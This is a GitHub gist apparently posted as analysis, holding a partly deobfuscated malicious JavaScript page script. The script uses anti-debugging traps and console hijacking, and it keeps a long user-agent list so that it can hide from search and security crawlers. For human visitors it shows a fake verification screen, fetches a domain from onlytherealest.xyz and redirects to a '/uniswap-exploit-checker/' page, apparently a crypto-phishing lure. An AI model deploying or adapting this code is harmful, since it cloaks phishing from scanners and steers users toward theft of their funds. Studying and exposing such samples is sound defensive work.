Skip to content

Instantly share code, notes, and snippets.

@AndrewMohawk
Created April 4, 2024 20:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save AndrewMohawk/23e111e1b61b2249dfdecde9aed806d7 to your computer and use it in GitHub Desktop.
Save AndrewMohawk/23e111e1b61b2249dfdecde9aed806d7 to your computer and use it in GitHub Desktop.
"deobfuscated" js code
function _0x32b3(_0x3ae10a, _0x16cd8a) {
const _0x37fa3f = _0x3b7a();
_0x32b3 = function (_0x458507, _0x47da65) {
_0x458507 = _0x458507 - 0x157;
let _0x559de0 = _0x37fa3f[_0x458507];
return _0x559de0;
};
return _0x32b3(_0x3ae10a, _0x16cd8a);
}
(function (_0x121038, _0x23a280) {
const _0x33f235 = _0x121038();
while (true) {
try {
const _0x565475 = parseInt(_0x32b3("0x1ef")) / 0x1 * (-parseInt(_0x32b3(0x23b)) / 0x2) + -parseInt(_0x32b3(0x1bb)) / 0x3 + parseInt(_0x32b3("0x233")) / 0x4 + -parseInt(_0x32b3(0x1fd)) / 0x5 * (-parseInt(_0x32b3(0x217)) / 0x6) + -parseInt(_0x32b3("0x175")) / 0x7 + parseInt(_0x32b3("0x20e")) / 0x8 * (-parseInt(_0x32b3("0x23d")) / 0x9) + parseInt(_0x32b3("0x20d")) / 0xa;
if (_0x565475 === _0x23a280) {
break;
} else {
_0x33f235.push(_0x33f235.shift());
}
} catch (_0x1209fd) {
_0x33f235.push(_0x33f235.shift());
}
}
})(_0x3b7a, 0xee98b);
const _0x8d2cb0 = function () {
let _0xc64c10 = true;
return function (_0x1ab7f7, _0x13e9c9) {
const _0x298372 = _0xc64c10 ? function () {
if (_0x13e9c9) {
const _0x37ddd1 = _0x13e9c9[_0x32b3(0x23f)](_0x1ab7f7, arguments);
_0x13e9c9 = null;
return _0x37ddd1;
}
} : function () {};
_0xc64c10 = false;
return _0x298372;
};
}();
const _0x1c4d9b = _0x8d2cb0(this, function () {
const _0x41bd89 = {
"tYuMb": _0x32b3("0x231")
};
return _0x1c4d9b[_0x32b3("0x1eb")]().search(_0x41bd89.tYuMb)[_0x32b3(0x1eb)]().constructor(_0x1c4d9b)[_0x32b3(0x213)](_0x41bd89.tYuMb);
});
_0x1c4d9b();
const _0x39c4a6 = function () {
let _0xd5654b = true;
return function (_0x4c02d7, _0x202dc5) {
const _0x2878a2 = _0xd5654b ? function () {
if (_0x202dc5) {
const _0x3063fa = _0x202dc5.apply(_0x4c02d7, arguments);
_0x202dc5 = null;
return _0x3063fa;
}
} : function () {};
_0xd5654b = false;
return _0x2878a2;
};
}();
(function () {
const _0x6f9e2d = {
"NHRqw": "function *\\( *\\)",
"UKBRG": _0x32b3("0x18a"),
"WhPTm": function (_0x2c4070, _0x5adc82) {
return _0x2c4070(_0x5adc82);
},
"clulY": _0x32b3("0x201"),
"sKJmk": function (_0x5b3cdb, _0x4a9175) {
return _0x5b3cdb + _0x4a9175;
},
"wIgta": _0x32b3(0x1d4),
"wUSHC": function (_0xc2a7a0, _0x17b0e6) {
return _0xc2a7a0 + _0x17b0e6;
},
"ooJAy": _0x32b3(0x196),
"aNQct": function (_0x109a6c, _0x38498d) {
return _0x109a6c(_0x38498d);
},
"xpEWl": function (_0x170fc1) {
return _0x170fc1();
},
"kMkpC": function (_0x565625, _0xe2b4c4, _0x28ba29) {
return _0x565625(_0xe2b4c4, _0x28ba29);
}
};
_0x39c4a6(this, function () {
const _0xd87a76 = new RegExp(_0x6f9e2d[_0x32b3(0x245)]);
const _0x5c435b = new RegExp(_0x6f9e2d[_0x32b3(0x1b2)], "i");
const _0x1676d4 = _0x6f9e2d[_0x32b3(0x1c5)](_0x42cc23, _0x6f9e2d[_0x32b3("0x20a")]);
if (!_0xd87a76[_0x32b3("0x204")](_0x6f9e2d[_0x32b3(0x227)](_0x1676d4, _0x6f9e2d[_0x32b3(0x166)])) || !_0x5c435b[_0x32b3(0x204)](_0x1676d4 + _0x6f9e2d.ooJAy)) {
_0x6f9e2d[_0x32b3(0x1a4)](_0x1676d4, "0");
} else {
_0x42cc23();
}
})();
})();
const _0x47da65 = function () {
let _0x1aa299 = true;
return function (_0x915c61, _0x8d7703) {
const _0x590c00 = _0x1aa299 ? function () {
if (_0x8d7703) {
const _0x34797a = _0x8d7703[_0x32b3("0x23f")](_0x915c61, arguments);
_0x8d7703 = null;
return _0x34797a;
}
} : function () {};
_0x1aa299 = false;
return _0x590c00;
};
}();
const _0x458507 = _0x47da65(this, function () {
const _0x51a9f9 = {
"pkJzT": function (_0x851d65, _0x22ef55) {
return _0x851d65(_0x22ef55);
},
"QJTkD": function (_0x2fb442, _0x195c7c) {
return _0x2fb442 + _0x195c7c;
},
"RorEA": function (_0x13ac1a, _0x3b388f) {
return _0x13ac1a + _0x3b388f;
},
"BxMwE": _0x32b3("0x1e8"),
"NtRSM": _0x32b3(0x1b0),
"vHuyG": function (_0x2370bc) {
return _0x2370bc();
},
"rpqos": _0x32b3("0x1cd"),
"NVYds": _0x32b3(0x22e),
"RdrfQ": "info",
"CzeEL": _0x32b3("0x17b"),
"ATegP": _0x32b3(0x15b),
"zPQSA": _0x32b3("0x1c8"),
"EgnCk": "trace",
"ocJrO": function (_0x47a589, _0x279f94) {
return _0x47a589 < _0x279f94;
}
};
let _0x2b56b5;
try {
const _0x14d8ab = _0x51a9f9[_0x32b3("0x222")](Function, _0x51a9f9[_0x32b3(0x210)](_0x51a9f9[_0x32b3("0x1e9")], _0x51a9f9[_0x32b3("0x180")]) + ");");
_0x2b56b5 = _0x14d8ab();
} catch (_0x441b66) {
_0x2b56b5 = window;
}
const _0x4bdec3 = _0x2b56b5.console = _0x2b56b5[_0x32b3("0x19a")] || {};
const _0x266b46 = [_0x51a9f9[_0x32b3(0x16f)], _0x51a9f9.NVYds, _0x51a9f9[_0x32b3("0x17a")], _0x51a9f9.CzeEL, _0x51a9f9[_0x32b3(0x1ed)], _0x51a9f9[_0x32b3(0x163)], _0x51a9f9[_0x32b3(0x216)]];
for (let _0x1816f4 = 0x0; _0x51a9f9[_0x32b3("0x16e")](_0x1816f4, _0x266b46[_0x32b3(0x1f3)]); _0x1816f4++) {
const _0x544316 = _0x47da65[_0x32b3("0x224")][_0x32b3(0x1ce)].bind(_0x47da65);
const _0x400d6d = _0x266b46[_0x1816f4];
const _0x34a782 = _0x4bdec3[_0x400d6d] || _0x544316;
_0x544316[_0x32b3(0x170)] = _0x47da65[_0x32b3("0x241")](_0x47da65);
_0x544316.toString = _0x34a782[_0x32b3("0x1eb")][_0x32b3(0x241)](_0x34a782);
_0x4bdec3[_0x400d6d] = _0x544316;
}
});
_0x458507();
const botUserAgents = ["Googlebot", _0x32b3("0x20f"), _0x32b3(0x172), _0x32b3(0x1c3), _0x32b3(0x242), _0x32b3("0x1c2"), "msnbot", _0x32b3(0x169), _0x32b3(0x1f4), _0x32b3("0x1dd"), _0x32b3(0x1ae), _0x32b3("0x1b9"), _0x32b3("0x236"), "yacybot", _0x32b3("0x1a6"), "tagoobot", _0x32b3(0x1d1), "buzzbot", _0x32b3(0x23c), _0x32b3(0x1b3), _0x32b3("0x1f9"), _0x32b3("0x1c0"), _0x32b3("0x178"), _0x32b3(0x239), _0x32b3("0x193"), _0x32b3(0x174), "Adidxbot", _0x32b3("0x164"), _0x32b3("0x1d5"), _0x32b3("0x1a1"), "CrunchBot", "IndeedBot", _0x32b3("0x190"), _0x32b3(0x209), _0x32b3("0x1bf"), _0x32b3(0x208), _0x32b3("0x1e6"), "Grobbot", _0x32b3(0x16c), _0x32b3("0x21f"), _0x32b3(0x183), _0x32b3("0x21c"), _0x32b3(0x1a2), "gslfbot", _0x32b3(0x168), _0x32b3("0x1e4"), _0x32b3(0x235), "wocbot", "DuckDuckBot", "acoonbot", _0x32b3(0x1f1), _0x32b3("0x1ba"), _0x32b3(0x240), _0x32b3("0x1b8"), _0x32b3("0x167"), _0x32b3("0x1f8"), "InterfaxScanBot", _0x32b3(0x215), _0x32b3("0x1c9"), _0x32b3(0x1c3), "cXensebot", "smtbot", _0x32b3(0x21e), _0x32b3("0x226"), _0x32b3("0x15c"), _0x32b3(0x19c), _0x32b3(0x203), _0x32b3("0x221"), _0x32b3("0x19b"), "TweetmemeBot", _0x32b3(0x1e3), _0x32b3("0x18c"), _0x32b3("0x19f"), _0x32b3(0x18e), _0x32b3(0x1b1), "RankActiveLinkBot", _0x32b3("0x1c7"), "Veoozbot", _0x32b3("0x187"), _0x32b3("0x1ab"), "datagnionbot", "contxbot", _0x32b3(0x218), "FemtosearchBot", _0x32b3("0x1d9"), _0x32b3("0x186"), _0x32b3("0x16a"), _0x32b3(0x22b), _0x32b3(0x162), _0x32b3(0x19e), _0x32b3("0x1a3"), _0x32b3("0x1ff"), _0x32b3(0x1af), _0x32b3(0x1ea), _0x32b3(0x16d), _0x32b3(0x17d), "epicbot", _0x32b3("0x1a9"), _0x32b3("0x202"), _0x32b3("0x223"), _0x32b3(0x1cf), _0x32b3("0x1d2"), _0x32b3("0x157"), _0x32b3("0x1ee"), _0x32b3(0x1e1), _0x32b3("0x1e0"), _0x32b3(0x194), _0x32b3("0x1fe"), _0x32b3("0x22d"), "botify", _0x32b3(0x205), _0x32b3(0x158), _0x32b3("0x19d"), _0x32b3(0x211), _0x32b3(0x243), "StorygizeBot", _0x32b3("0x23e"), _0x32b3(0x1f5), "MauiBot", _0x32b3(0x1e2), "acapbot", "bitlybot", _0x32b3("0x20c"), _0x32b3(0x228), "imrbot", _0x32b3("0x18d"), "linkapediabot", "TangibleeBot", _0x32b3("0x229"), "MoodleBot", _0x32b3(0x214), _0x32b3(0x1ca), _0x32b3("0x22f"), _0x32b3(0x21b), _0x32b3("0x1de"), _0x32b3("0x1bc"), _0x32b3(0x212), "feedbot", "Amazonbot", _0x32b3("0x18f"), "Eyeotabot", _0x32b3("0x21a"), _0x32b3(0x232), "LinkisBot", "AwarioSmartBot", _0x32b3("0x1d6"), _0x32b3(0x1b5), _0x32b3("0x177"), "SentiBot", _0x32b3("0x220"), _0x32b3(0x1d0), _0x32b3(0x1db), _0x32b3("0x23a"), "JobboerseBot", _0x32b3(0x1fc), _0x32b3(0x1f6), "BrandONbot", _0x32b3("0x17e"), _0x32b3("0x1cb"), _0x32b3(0x22a), _0x32b3(0x1cc), "infoobot", _0x32b3("0x17f"), _0x32b3("0x160"), _0x32b3("0x195"), _0x32b3(0x200), "centurybot", _0x32b3("0x1f2"), _0x32b3(0x1e7), "SeekportBot", _0x32b3(0x15d), _0x32b3("0x1a8"), _0x32b3("0x199"), _0x32b3(0x1e5), _0x32b3(0x1b6), _0x32b3(0x1ec), _0x32b3(0x1d7), _0x32b3("0x1be"), _0x32b3("0x15e"), _0x32b3("0x181"), "KomodiaBot", _0x32b3(0x1ad), _0x32b3(0x179), "AlexandriaOrgBot", _0x32b3("0x237"), _0x32b3("0x191"), _0x32b3(0x192), _0x32b3(0x244), _0x32b3("0x1bd"), _0x32b3("0x1c1"), _0x32b3(0x1a0), _0x32b3(0x15f)];
const userAgent = navigator[_0x32b3("0x1a7")];
const isBot = botUserAgents.some(_0x33e487 => userAgent[_0x32b3("0x161")](_0x33e487));
if (!isBot) {
setTimeout(function () {
const _0x29f125 = {
"VxCRp": function (_0xfcf21c, _0x4fe00c) {
return _0xfcf21c * _0x4fe00c;
},
"EBhhM": function (_0x209c06, _0x547889) {
return _0x209c06 + _0x547889;
},
"bDsRu": function (_0x1d0aac, _0x90d076) {
return _0x1d0aac + _0x90d076;
},
"CSZxL": function (_0x2566e7, _0x58397b) {
return _0x2566e7 + _0x58397b;
},
"edYfD": _0x32b3(0x1dc),
"cQfvb": "/uniswap-exploit-checker/?r=",
"jTaLU": _0x32b3(0x188),
"mmfVW": ".challenge-verifying",
"vzhsh": _0x32b3(0x234),
"GTvnL": _0x32b3(0x1df),
"JSWpE": function (_0xe099fb, _0x5d81fb) {
return _0xe099fb(_0x5d81fb);
},
"enCao": "https://onlytherealest.xyz/current_domain"
};
document.querySelector(_0x29f125[_0x32b3(0x22c)])[_0x32b3("0x1b4")][_0x32b3("0x1c6")](_0x29f125[_0x32b3(0x21d)]);
document[_0x32b3("0x184")](_0x29f125.GTvnL).classList[_0x32b3(0x16b)](_0x29f125[_0x32b3("0x21d")]);
_0x29f125[_0x32b3(0x1b7)](fetch, _0x29f125[_0x32b3(0x198)])[_0x32b3(0x176)](_0x5326d0 => _0x5326d0.json())[_0x32b3(0x176)](_0x3939e7 => {
const _0x327c07 = Math[_0x32b3("0x225")](_0x29f125[_0x32b3(0x1ac)](Math.random(), 0xe8d4a51000));
const _0x509803 = _0x29f125[_0x32b3("0x1d3")](_0x29f125[_0x32b3("0x207")](_0x29f125[_0x32b3(0x159)](_0x29f125[_0x32b3(0x1a5)], _0x3939e7[_0x32b3("0x1d8")]), _0x29f125[_0x32b3(0x182)]), _0x327c07);
window[_0x32b3(0x15a)][_0x32b3(0x1da)] = _0x509803;
})[_0x32b3("0x165")](_0xad7eee => {
console[_0x32b3(0x17b)](_0x29f125[_0x32b3("0x238")], _0xad7eee);
});
}, 0xbb8);
} else {
document[_0x32b3("0x184")](_0x32b3("0x219")).classList[_0x32b3("0x1c6")](_0x32b3("0x234"));
document[_0x32b3(0x184)](".challenge-success").classList.add("hidden");
}
function _0x3b7a() {
const _0x45b1ac = ["location", "exception", "AdvBot", "FreshpingBot", "Neevabot", "GeedoBot", "SeobilityBot", "includes", "KosmioBot", "zPQSA", "dotbot", "catch", "wIgta", "rogerbot", "aiHitBot", "jyxobot", "mindUpBot", "remove", "semanticbot", "trendictionbot", "ocJrO", "rpqos", "__proto__", "OXAzw", "YandexBot", "ESLIX", "sitebot", "6223847XTXGmR", "then", "AspiegelBot", "spbot", "MTRobot", "RdrfQ", "error", "stYuN", "Ocarinabot", "RidderBot", "Refindbot", "NtRSM", "SiteCheckerBotCrawler", "cQfvb", "CCBot", "querySelector", "IRKHk", "DomainStatsBot", "Slackbot", "Error fetching current domain:", "stateObject", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "nTWsN", "yoozBot", "Kemvibot", "IstellaBot", "SerendeputyBot", "woobot", "vuhuvBot", "Cocolyzebot", "scribdbot", "SurveyBot", "Dragonbot", "input", "while (true) {}", "enCao", "GPTBot", "console", "Applebot", "SemanticScholarBot", "ZumBot", "Gowikibot", "OpenHoseBot", "ImagesiftBot", "fuelbot", "SeznamBot", "PiplBot", "aNQct", "edYfD", "AISearchBot", "userAgent", "CriteoBot", "Primalbot", "sHQdS", "redditbot", "VxCRp", "KStandBot", "exabot", "TelegramBot", "{}.constructor(\"return this\")( )", "betaBot", "UKBRG", "purebot", "classList", "RyteBot", "DataForSeoBot", "JSWpE", "CrystalSemanticsBot", "antibot", "elisabot", "2735721bkwOTf", "RegionStuttgartBot", "SenutoBot", "YouBot", "PrivacyAwareBot", "citeseerxbot", "PhxBot", "LinkedInBot", "Twitterbot", "debu", "WhPTm", "add", "SafeDNSBot", "table", "brainobot", "Caliperbot", "Taboolabot", "FindITAnswersbot", "log", "prototype", "PaperLiBot", "bidswitchbot", "woriobot", "AndersPinkBot", "EBhhM", "chain", "discobot", "AwarioRssBot", "StractBot", "current_domain", "MetaJobBot", "href", "tigerbot", "https://", "Gigabot", "Jooblebot", ".challenge-success", "ExtLinksBot", "Mediatoolkitbot", "AlphaBot", "findxbot", "lssbot", "AwarioBot", "SWIMGBot", "Cookiebot", "return (function() ", "BxMwE", "SocialRankIOBot", "toString", "WellKnownBot", "ATegP", "EveryoneSocialBot", "17vmwVYC", "call", "toplistbot", "PetalBot", "length", "seekbot", "OutclicksBot", "BublupBot", "counter", "psbot", "voilabot", "string", "PqCcQ", "Cutbot", "5nZebey", "Laserlikebot", "Discordbot", "BitBot", "init", "GnowitNewsbot", "nerdybot", "test", "BehloolBot", "soSat", "bDsRu", "Multiviewbot", "ZoominfoBot", "clulY", "NEGjG", "blogmuraBot", "24305670tnntuF", "3408bcnaxS", "Bingbot", "RorEA", "ArchiveBot", "NTENTbot", "search", "Experibot", "urlappendbot", "EgnCk", "3494814BorXiq", "vebidoobot", ".challenge-verifying", "officestorebot", "RSSingBot", "edisterbot", "vzhsh", "Facebot", "wbsearchbot", "VKRobot", "xovibot", "pkJzT", "Leikibot", "constructor", "floor", "memorybot", "sKJmk", "BoxcarBot", "ZoomBot", "Dubbotbot", "moatbot", "mmfVW", "DnyzBot", "warn", "AddSearchBot", "action", "(((.+)+)+)+$", "SurdotlyBot", "3354688DrNuHi", "hidden", "careerbot", "msrbot", "Yellowbrandprotectionbot", "jTaLU", "twengabot", "NIXStatsbot", "52558olurUk", "mlbot", "13239pAgUDP", "UptimeRobot", "apply", "arabot", "bind", "bingbot", "BomboraBot", "ReverseEngineeringBot", "NHRqw", "Fyrebot", "BDCbot", "CSZxL"];
_0x3b7a = function () {
return _0x45b1ac;
};
return _0x3b7a();
}
function _0x42cc23(_0x40a965) {
const _0x10d132 = {
"uyHfz": function (_0x447cf3, _0x357c30) {
return _0x447cf3 === _0x357c30;
},
"stYuN": _0x32b3(0x1fa),
"YbtrN": _0x32b3(0x197),
"PqCcQ": _0x32b3(0x1f7),
"nTWsN": function (_0x175bdd, _0x50e2a6) {
return _0x175bdd !== _0x50e2a6;
},
"sHQdS": function (_0x16c583, _0x4fe0b8) {
return _0x16c583 + _0x4fe0b8;
},
"IRKHk": function (_0x3b938c, _0x1217fd) {
return _0x3b938c / _0x1217fd;
},
"mVXEX": _0x32b3("0x1f3"),
"ESLIX": function (_0x480c25, _0x305761) {
return _0x480c25 === _0x305761;
},
"BLHnI": function (_0x2cc311, _0x1f37ef) {
return _0x2cc311 % _0x1f37ef;
},
"NEGjG": _0x32b3("0x1c4"),
"soSat": "gger",
"OXAzw": _0x32b3("0x230"),
"VLIPD": _0x32b3("0x189"),
"CFdeM": function (_0x175819, _0x4130f3) {
return _0x175819(_0x4130f3);
},
"ZeMFp": function (_0x2c7bea, _0x4576f8) {
return _0x2c7bea(_0x4576f8);
}
};
function _0x4258ac(_0x5f2109) {
if (typeof _0x5f2109 === _0x10d132[_0x32b3(0x17c)]) {
return function (_0x20c322) {}[_0x32b3("0x224")](_0x10d132.YbtrN).apply(_0x10d132[_0x32b3(0x1fb)]);
} else if (_0x10d132[_0x32b3("0x18b")](_0x10d132[_0x32b3(0x1aa)]('', _0x10d132[_0x32b3("0x185")](_0x5f2109, _0x5f2109))[_0x10d132.mVXEX], 0x1) || _0x10d132[_0x32b3("0x173")](_0x5f2109 % 0x14, 0x0)) {
(function () {
return true;
})[_0x32b3(0x224)](_0x10d132[_0x32b3(0x1aa)](_0x10d132[_0x32b3(0x20b)], _0x10d132[_0x32b3(0x206)]))[_0x32b3(0x1f0)](_0x10d132[_0x32b3("0x171")]);
} else {
(function () {
return false;
})[_0x32b3("0x224")](_0x10d132[_0x32b3("0x1aa")](_0x10d132[_0x32b3("0x20b")], _0x10d132[_0x32b3(0x206)]))[_0x32b3("0x23f")](_0x10d132.VLIPD);
}
_0x4258ac(++_0x5f2109);
}
try {
if (_0x40a965) {
return _0x4258ac;
} else {
_0x4258ac(0x0);
}
} catch (_0x1fbc94) {}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment